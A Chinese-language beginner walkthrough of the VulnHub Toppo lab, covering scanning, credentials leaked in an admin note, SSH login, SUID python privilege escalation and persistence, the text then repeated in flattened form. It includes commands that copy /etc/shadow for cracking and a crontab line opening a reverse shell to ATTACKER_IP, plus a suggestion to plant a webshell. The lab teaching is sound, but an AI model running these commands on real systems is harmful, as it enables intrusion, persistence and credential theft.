渗透测试 | VulnHub-Toppo靶场实战
字数 1049 2025-08-15 21:30:34

VulnHub-Toppo靶场渗透测试实战教学文档

靶场概述

Toppo是Vulnhub上的一个初级难度渗透测试靶机,适合初学者练习渗透测试基础技能。本教学文档将详细讲解从信息收集到最终提权的完整渗透流程。

环境准备

靶机下载

测试工具

  • Kali Linux系统
  • 常用工具: netdiscover, arp-scan, nmap, dirb, hydra等

渗透测试流程

1. 信息收集

1.1 目标发现

使用以下工具发现目标IP:

netdiscover -r 192.168.88.0/24
arp-scan -l

1.2 端口扫描与服务识别

使用nmap扫描目标开放端口:

nmap -sV -p- 192.168.88.20

发现开放端口:

  • 22 (SSH)
  • 80 (HTTP)
  • 111 (RPCbind)

2. Web应用测试

2.1 目录扫描

使用dirb进行目录扫描:

dirb http://192.168.88.20

扫描结果发现重要目录:

  • /admin/ - 包含重要信息

2.2 手动检查

访问http://192.168.88.20/admin/发现一个txt文件,内容为:

Note to myself :I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

关键信息:

  • 可能的用户名: ted
  • 可能的密码: 12345ted123

3. SSH暴力破解

使用获取的凭据尝试SSH登录:

ssh ted@192.168.88.20

输入密码12345ted123成功登录。

4. 权限提升

4.1 查找SUID权限文件

find / -perm -u=s -type f 2>/dev/null

发现/usr/bin/python2.7具有SUID权限。

4.2 利用Python提权

使用Python获取root shell:

python2.7 -c 'import os; os.system("/bin/bash")'

4.3 替代方法 - 使用awk提取密码文件

mawk 'BEGIN {system("cp /etc/passwd /home/ted/passwd")}'
mawk 'BEGIN {system("cp /etc/shadow /home/ted/shadow")}'

然后可以使用John the Ripper破解密码。

5. 权限维持

5.1 Web后门

在web目录放置webshell维持访问。

5.2 定时任务

添加定时计划任务维持权限:

(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'") | crontab -

关键注意事项

  1. 命令语法: 使用awk或python调用系统命令时,注意单引号和双引号的正确使用
  2. 文件权限: 使用awk复制的文件需要调整权限才能编辑
  3. 系统安全: 提权时避免直接修改系统关键文件(如passwd)
  4. 扫描优化: 目录扫描结果过多时可重定向到文件: dirb http://192.168.88.20 >> scan_results.txt

总结

Toppo靶场展示了典型的渗透测试流程:

  1. 信息收集发现目标
  2. Web应用测试发现敏感信息
  3. 使用发现的凭据进行SSH登录
  4. 利用SUID程序提权
  5. 权限维持确保持续访问

这个靶场特别强调了信息收集的重要性,以及如何从看似无害的注释中发现关键凭据。

VulnHub-Toppo靶场渗透测试实战教学文档 靶场概述 Toppo是Vulnhub上的一个初级难度渗透测试靶机,适合初学者练习渗透测试基础技能。本教学文档将详细讲解从信息收集到最终提权的完整渗透流程。 环境准备 靶机下载 主下载链接: Mega.nz 镜像下载: Vulnhub 种子下载: Torrent 测试工具 Kali Linux系统 常用工具: netdiscover, arp-scan, nmap, dirb, hydra等 渗透测试流程 1. 信息收集 1.1 目标发现 使用以下工具发现目标IP: 1.2 端口扫描与服务识别 使用nmap扫描目标开放端口: 发现开放端口: 22 (SSH) 80 (HTTP) 111 (RPCbind) 2. Web应用测试 2.1 目录扫描 使用dirb进行目录扫描: 扫描结果发现重要目录: /admin/ - 包含重要信息 2.2 手动检查 访问 http://192.168.88.20/admin/ 发现一个txt文件,内容为: 关键信息: 可能的用户名: ted 可能的密码: 12345ted123 3. SSH暴力破解 使用获取的凭据尝试SSH登录: 输入密码 12345ted123 成功登录。 4. 权限提升 4.1 查找SUID权限文件 发现 /usr/bin/python2.7 具有SUID权限。 4.2 利用Python提权 使用Python获取root shell: 4.3 替代方法 - 使用awk提取密码文件 然后可以使用John the Ripper破解密码。 5. 权限维持 5.1 Web后门 在web目录放置webshell维持访问。 5.2 定时任务 添加定时计划任务维持权限: 关键注意事项 命令语法 : 使用awk或python调用系统命令时,注意单引号和双引号的正确使用 文件权限 : 使用awk复制的文件需要调整权限才能编辑 系统安全 : 提权时避免直接修改系统关键文件(如passwd) 扫描优化 : 目录扫描结果过多时可重定向到文件: dirb http://192.168.88.20 >> scan_results.txt 总结 Toppo靶场展示了典型的渗透测试流程: 信息收集发现目标 Web应用测试发现敏感信息 使用发现的凭据进行SSH登录 利用SUID程序提权 权限维持确保持续访问 这个靶场特别强调了信息收集的重要性,以及如何从看似无害的注释中发现关键凭据。